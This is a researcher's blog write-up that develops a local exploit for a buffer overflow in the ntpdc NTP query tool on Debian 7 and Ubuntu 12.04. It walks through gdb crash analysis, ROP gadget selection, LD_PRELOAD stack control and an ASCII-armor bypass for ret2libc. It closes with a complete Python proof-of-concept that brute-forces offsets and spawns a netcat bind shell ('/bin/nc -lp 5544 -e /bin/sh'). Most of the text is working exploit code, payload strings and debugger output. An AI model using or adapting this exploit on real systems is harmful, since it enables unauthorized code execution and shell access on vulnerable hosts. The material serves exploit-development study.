ntpdc local buffer overflow
Alejandro Hdez (@nitr0usmx) recently tweeted about a trivial buffer overflow in ntpdc, a deprecated NTP query tool still available and packaged with any NTP install. He posted a screenshot of the crash as the result of a large buffer passed into a vulnerable gets
call. After digging into it a bit, I decided it’d be a fun exploit to write, and it was. There are a few quarks to it that make it of particular interest, of which I’ve detailed below.
As noted, the bug is the result of a vulnerable gets
, which can be crashed with the following:
$ python -c 'print "A"*600' | ntpdc
***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' unknown
Segmentation fault
Loading into gdb on an x86 Debian 7 system:
gdb-peda$ i r eax edx esi
eax 0x41414141 0x41414141
edx 0x41414141 0x41414141
esi 0x41414141 0x41414141
gdb-peda$ x/i $eip
=> 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14]
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : disabled
RELRO : Partial
Notice the checksec
results of the binary, now compare this to a snippet of the paxtest
output:
Mode: Blackhat
Linux deb7-32 3.2.0-4-486 #1 Debian 3.2.63-2+deb7u2 i686 GNU/Linux
Executable anonymous mapping : Vulnerable
Executable bss : Vulnerable
Executable data : Vulnerable
Executable heap : Vulnerable
Executable stack : Vulnerable
Executable shared library bss : Vulnerable
Executable shared library data : Vulnerable
And the result of Debian’s recommended hardening-check
:
$ hardening-check /usr/bin/ntpdc
/usr/bin/ntpdc:
Position Independent Executable: no, normal executable!
Stack protected: yes
Fortify Source functions: yes (some protected functions found)
Read-only relocations: yes
Immediate binding: no, not found!
Interestingly enough, I discovered this oddity after I had gained code execution in a place I shouldn’t have. We’re also running with ASLR enabled:
$ cat /proc/sys/kernel/randomize_va_space
2
I’ll explain why the above is interesting in a moment.
So in our current state, we control three registers and an instruction dereferencing ESI+0x14
. If we take a look just a few instructions ahead, we see the following:
gdb-peda$ x/8i $eip
=> 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14] ; deref ESI+0x14 and move into EAX
0xb7fa1d79 <el_gets+25>: test al,0x2 ; test lower byte against 0x2
0xb7fa1d7b <el_gets+27>: je 0xb7fa1df8 <el_gets+152> ; jump if ZF == 1
0xb7fa1d7d <el_gets+29>: mov ebp,DWORD PTR [esi+0x2c] ; doesnt matter
0xb7fa1d80 <el_gets+32>: mov DWORD PTR [esp+0x4],ebp ; doesnt matter
0xb7fa1d84 <el_gets+36>: mov DWORD PTR [esp],esi ; doesnt matter
0xb7fa1d87 <el_gets+39>: call DWORD PTR [esi+0x318] ; call a controllable pointer
I’ve detailed the instructions above, but essentially we’ve got a free CALL. In order to reach this, we need an ESI value that at +0x14 will set ZF == 0 (to bypass the test/je) and at +0x318 will point into controlled data.
Naturally, we should figure out where our payload junk is and go from there.
gdb-peda$ searchmem 0x41414141
Searching for '0x41414141' in: None ranges
Found 751 results, display max 256 items:
ntpdc : 0x806ab00 ('A' <repeats 200 times>...)
gdb-peda$ maintenance i sections
[snip]
0x806a400->0x806edc8 at 0x00021400: .bss ALLOC
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08068000 r-xp /usr/bin/ntpdc
0x08068000 0x08069000 r--p /usr/bin/ntpdc
0x08069000 0x0806b000 rw-p /usr/bin/ntpdc
[snip]
Our payload is copied into BSS, which is beneficial as this will remain unaffected by ASLR, further bonus points because our binary wasn’t compiled with PIE. We now need to move back -0x318 and look for a value that will set ZF == 0 with the test al,0x2
instruction. A value at 0x806a9e1
satisfies both the +0x14 and +0x318 requirements:
gdb-peda$ x/wx 0x806a9cd+0x14
0x806a9e1: 0x6c61636f
gdb-peda$ x/wx 0x806a9cd+0x318
0x806ace5: 0x41414141
After figuring out the offset in the payload for ESI, we just need to plug 0x806a9cd
in and hopefully we’ll have EIP:
$ python -c 'print "A"*485 + "C"*4 + "A"*79 + "\xcd\xa9\x06\x08" + "C"*600' > crash.info
$ gdb -q /usr/bin/ntpdc
$ r < crash.info
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x6c61636f ('ocal')
EBX: 0xb7fabff4 --> 0x1fe40
ECX: 0xb7dc13c0 --> 0x0
EDX: 0x43434343 ('CCCC')
ESI: 0x806a9cd --> 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)
EIP: 0x43434343 ('CCCC')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)
0004| 0xbffff3d0 --> 0x806a9cd --> 0x0
0008| 0xbffff3d4 --> 0x0
0012| 0xbffff3d8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx)
0016| 0xbffff3dc --> 0x0
0020| 0xbffff3e0 --> 0xb7c677f4 --> 0x1cce
0024| 0xbffff3e4 --> 0x807b6f8 ('A' <repeats 200 times>...)
0028| 0xbffff3e8 --> 0x807d3b0 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()
Now that we’ve got EIP, it’s a simple matter of stack pivoting to execute a ROP payload. Let’s figure out where that "C"*600
lands in memory and redirect EIP there:
gdb-peda$ searchmem 0x43434343
Searching for '0x43434343' in: None ranges
Found 755 results, display max 256 items:
ntpdc : 0x806ace5 ("CCCC", 'A' <repeats 79 times>, "ͩ\006\b", 'C' <repeats 113 times>...)
ntpdc : 0x806ad3c ('C' <repeats 200 times>...)
[snip]
And we’ll fill it with \xcc
to ensure we’re there (theoretically triggering NX):
$ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\xcc"*600' > crash.info
$ gdb -q /usr/bin/ntpdc
Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done.
gdb-peda$ r < crash.info
[snip]
Program received signal SIGTRAP, Trace/breakpoint trap.
[----------------------------------registers-----------------------------------]
EAX: 0x6c61636f ('ocal')
EBX: 0xb7fabff4 --> 0x1fe40
ECX: 0xb7dc13c0 --> 0x0
EDX: 0xcccccccc
ESI: 0x806a9cd --> 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)
EIP: 0x806ad3d --> 0xcccccccc
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x806ad38: int 0xa9
0x806ad3a: push es
0x806ad3b: or ah,cl
=> 0x806ad3d: int3
0x806ad3e: int3
0x806ad3f: int3
0x806ad40: int3
0x806ad41: int3
[------------------------------------stack-------------------------------------]
0000| 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)
0004| 0xbffff3f0 --> 0x806a9cd --> 0x0
0008| 0xbffff3f4 --> 0x0
0012| 0xbffff3f8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx)
0016| 0xbffff3fc --> 0x0
0020| 0xbffff400 --> 0xb7c677f4 --> 0x1cce
0024| 0xbffff404 --> 0x807b9d0 ('A' <repeats 200 times>...)
0028| 0xbffff408 --> 0x807d688 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0x0806ad3d in ?? ()
gdb-peda$
Er, what? It appears to be executing code in BSS! Recall the output of paxtest/checksec/hardening-check from earlier, NX was clearly enabled. This took me a few hours to figure out, but it ultimately came down to Debian not distributing x86 images with PAE, or Physical Address Extension. PAE is a kernel feature that allows 32-bit CPU’s to access physical page tables and doubling each entry in the page table and page directory. This third level of paging and increased entry size is required for NX on x86 architectures because NX adds a single ‘dont execute’ bit to the page table. You can read more about PAE here, and the original NX patch here.
This flag can be tested for with a simple grep of /proc/cpuinfo
; on a fresh install of Debian 7, a grep for PAE will turn up empty, but on something with support, such as Ubuntu, you’ll get the flag back.
Because I had come this far already, I figured I might as well get the exploit working. At this point it was simple, anyway:
$ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\x90"*4 + "\x68\xec\xf7\xff\xbf\x68\x70\xe2\xc8\xb7\x68\x30\xac\xc9\xb7\xc3"' > input2.file
$ gdb -q /usr/bin/ntpdc
Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done.
gdb-peda$ r < input.file
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAͩ����h����hp�ȷh0�ɷ�' unknown
[New process 4396]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
process 4396 is executing new program: /bin/dash
[New process 4397]
process 4397 is executing new program: /bin/nc.traditional
This uses a simple system
payload with hard-coded addresses, because at this point it’s an old-school, CTF-style exploit. And it works. With this trivial PoC working, I decided to check another box I had to verify this is a common distribution method. An Ubuntu VM said otherwise:
$ uname -a
Linux bryan-VirtualBox 3.2.0-74-generic #109-Ubuntu SMP Tue Dec 9 16:47:54 UTC 2014 i686 i686 i386 GNU/Linux
$ ./checksec.sh --file /usr/bin/ntpdc
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH /usr/bin/ntpdc
$ cat /proc/sys/kernel/randomize_va_space
2
Quite a different story. We need to bypass full RELRO (no GOT overwrites), PIE+ASLR, NX, SSP, and ASCII armor. In our current state, things are looking pretty grim. As an aside, it’s important to remember that because this is a local exploit, the attacker is assumed to have limited control over the system. Ergo, an attacker may inspect and modify the system in the same manner a limited user could. This becomes important with a few techniques we’re going to use moving forward.
Our first priority is stack pivoting; we won’t be able to ROP to victory without control over the stack. There are a few options for this, but the easiest option is likely going to be an ADD ESP, ?
gadget. The problem with this being that we need to have some sort of control over the stack or be able to modify ESP somewhere into BSS that we control. Looking at the output of ropgadget
, we’ve got 36 options, almost all of which are of the form ADD ESP, ?
.
After looking through the list, I determined that none of the values led to control over the stack; in fact, nothing I injected landed on the stack. I did note, however, the following:
gdb-peda$ x/6i 0x800143e0
0x800143e0: add esp,0x256c
0x800143e6: pop ebx
0x800143e7: pop esi
0x800143e8: pop edi
0x800143e9: pop ebp
0x800143ea: ret
gdb-peda$ x/30s $esp+0x256c
0xbffff3a4: "-1420310755.557158-104120677"
0xbffff3c1: "WINDOWID=69206020"
0xbffff3d3: "GNOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM"
0xbffff3fd: "GTK_MODULES=canberra-gtk-module:canberra-gtk-module"
These are environmental variables passed into the application and located on the program stack. Using the ROP gadget ADD ESP, 0x256c
, followed by a series of register POPs, we could land here. Controlling this is easy with the help of LD_PRELOAD, a neat trick documented by Dan Rosenberg in 2010. By exporting LD_PRELOAD, we can control uninitialized data located on the stack, as follows:
$ export LD_PRELOAD=`python -c 'print "A"*10000'`
$ gdb -q /usr/bin/ntpdc
gdb-peda$ r < input.file
[..snip..]
gdb-peda$ x/10wx $esp+0x256c
0xbfffedc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffedd8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffede8: 0x41414141 0x41414141
gdb-peda$
Using some pattern_create/offset magic, we can find the offset in our LD_PRELOAD string and take control over EIP and the stack:
$ export LD_PRELOAD=`python -c 'print "A"*8490 + "AAAA" + "BBBB"'`
$ python -c "print 'A'*485 + '\xe0\x43\x01\x80' + 'A'*79 + '\x8d\x67\x02\x80' + 'B'*600" > input.file
$ gdb -q /usr/bin/ntpdc
gdb-peda$ r < input.file
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x6c61636f ('ocal')
EBX: 0x41414141 ('AAAA')
ECX: 0x13560
EDX: 0x42424242 ('BBBB')
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff3bc ("BBBB")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff3bc ("BBBB")
0004| 0xbffff3c0 --> 0x4e495700 ('')
0008| 0xbffff3c4 ("DOWID=69206020")
0012| 0xbffff3c8 ("D=69206020")
0016| 0xbffff3cc ("206020")
0020| 0xbffff3d0 --> 0x47003032 ('20')
0024| 0xbffff3d4 ("NOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM")
0028| 0xbffff3d8 ("_KEYRING_CONTROL=/tmp/keyring-iBX3uM")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
This gives us EIP, control over the stack, and control over a decent number of registers; however, the LD_PRELOAD trick is extremely sensitive to stack shifting which represents a pretty big problem for exploit portability. For now, I’m going to forget about it; chances are we could brute force the offset, if necessary, or simply invoke the application with env -i
.
From here, we need to figure out a ROP payload. The easiest payload I can think of is a simple ret2libc. Unfortunately, ASCII armor null bytes all of them:
gdb-peda$ vmmap
0x00327000 0x004cb000 r-xp /lib/i386-linux-gnu/libc-2.15.so
0x004cb000 0x004cd000 r--p /lib/i386-linux-gnu/libc-2.15.so
0x004cd000 0x004ce000 rw-p /lib/i386-linux-gnu/libc-2.15.so
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x366060 <system>
gdb-peda$
One idea I had was to simply construct the address in memory, then call it. Using ROPgadget, I hunted for ADD/SUB instructions that modified any registers we controlled. Eventually, I discovered this gem:
0x800138f2: add edi, esi; ret 0;
0x80022073: call edi
Using the above, we could pop controlled, non-null values into EDI/ESI, that when added equaled 0x366060 <system>
. Many values will work, but I chose 0xeeffffff + 0x11366061
:
EAX: 0x6c61636f ('ocal')
EBX: 0x41414141 ('AAAA')
ECX: 0x12f00
EDX: 0x42424242 ('BBBB')
ESI: 0xeeffffff
EDI: 0x11366061
EBP: 0x41414141 ('AAAA')
ESP: 0xbfffefb8 --> 0x800138f2 (add edi,esi)
EIP: 0x800143ea (ret)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x800143e7: pop esi
0x800143e8: pop edi
0x800143e9: pop ebp
=> 0x800143ea: ret
0x800143eb: nop
0x800143ec: lea esi,[esi+eiz*1+0x0]
0x800143f0: mov DWORD PTR [esp],ebp
0x800143f3: call 0x80018d20
[------------------------------------stack-------------------------------------]
0000| 0xbfffefb8 --> 0x800138f2 (add edi,esi)
0004| 0xbfffefbc --> 0x80022073 --> 0xd7ff
0008| 0xbfffefc0 ('C' <repeats 200 times>...)
0012| 0xbfffefc4 ('C' <repeats 200 times>...)
0016| 0xbfffefc8 ('C' <repeats 200 times>...)
0020| 0xbfffefcc ('C' <repeats 200 times>...)
0024| 0xbfffefd0 ('C' <repeats 200 times>...)
0028| 0xbfffefd4 ('C' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x800143ea in ?? ()
As shown above, we’ve got our two values in EDI/ESI and are returning to our ADD EDI, ESI
gadget. Once this completes, we return to our CALL EDI
gadget, which will jump into system
:
EDI: 0x366060 (<system>: sub esp,0x1c)
EBP: 0x41414141 ('AAAA')
ESP: 0xbfffefc0 --> 0xbffff60d ("/bin/nc -lp 5544 -e /bin/sh")
EIP: 0x80022073 --> 0xd7ff
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x80022073: call edi
Recall the format of a ret2libc: [system() address | exit() | shell command]
; therefore, we need to stick a bogus exit
address (in my case, junk) as well as the address of a command. Also remember, however, that CALL EDI
is essentially a macro for PUSH EIP+2 ; JMP EDI
. This means that our stack will be tainted with the address @ EIP+2. Thanks to this, we don’t really need to add an exit address, as one will be added for us. There are, unfortunately, no JMP EDI
gadgets in the binary, so we’re stuck with a messy exit.
This culminates in:
$ export LD_PRELOAD=`python -c 'print "A"*8472 + "\xff\xff\xff\xee" + "\x61\x60\x36\x11" + "AAAA" + "\xf2\x38\x01\x80" + "\x73\x20\x02\x80" + "\x0d\xf6\xff\xbf" + "C"*1492'`
$ gdb -q /usr/bin/ntpdc
gdb-peda$ r < input.file
[snip all the LD_PRELOAD crap]
[New process 31184]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
process 31184 is executing new program: /bin/dash
[New process 31185]
process 31185 is executing new program: /bin/nc.traditional
Success! Though this is a very dirty hack, and makes no claim of portability, it works. As noted previously, we can brute force the image base and stack offsets, though we can also execute the binary with an empty environment and no stack tampering with env -i
, giving us a much higher chance of hitting our mark.
Overall, this was quite a bit of fun. Although ASLR/PIE still poses an issue, this is a local bug that brute forcing and a little investigation can’t take care of. NX/RELRO/Canary/SSP/ASCII Armor have all been successfully neutralized. I hacked up a PoC that should work on Ubuntu boxes as configured, but it brute forces offsets. Test runs show it can take up to 2 hours to successfully pop a box. Full code can be found below.
from os import system, environ
from struct import pack
import sys
#
# ntpdc 4.2.6p3 bof
# @dronesec
# tested on x86 Ubuntu 12.04.5 LTS
#
IMAGE_BASE = 0x80000000
LD_INITIAL_OFFSET = 8900
LD_TAIL_OFFSET = 1400
sploit = "\x41" * 485 # junk
sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip
sploit += "\x41" * 79 # junk
sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode
ld_pl = ""
ld_pl += pack("<I", 0xeeffffff) # ESI
ld_pl += pack("<I", 0x11366061) # EDI
ld_pl += pack("<I", 0x41414141) # EBP
ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET
ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI
ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong
environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"
for idx in xrange(200):
for inc in xrange(200):
ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx)
ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc)
environ["LD_PRELOAD"] = ld_pl
system("echo %s | ntpdc 2>&1" % sploit)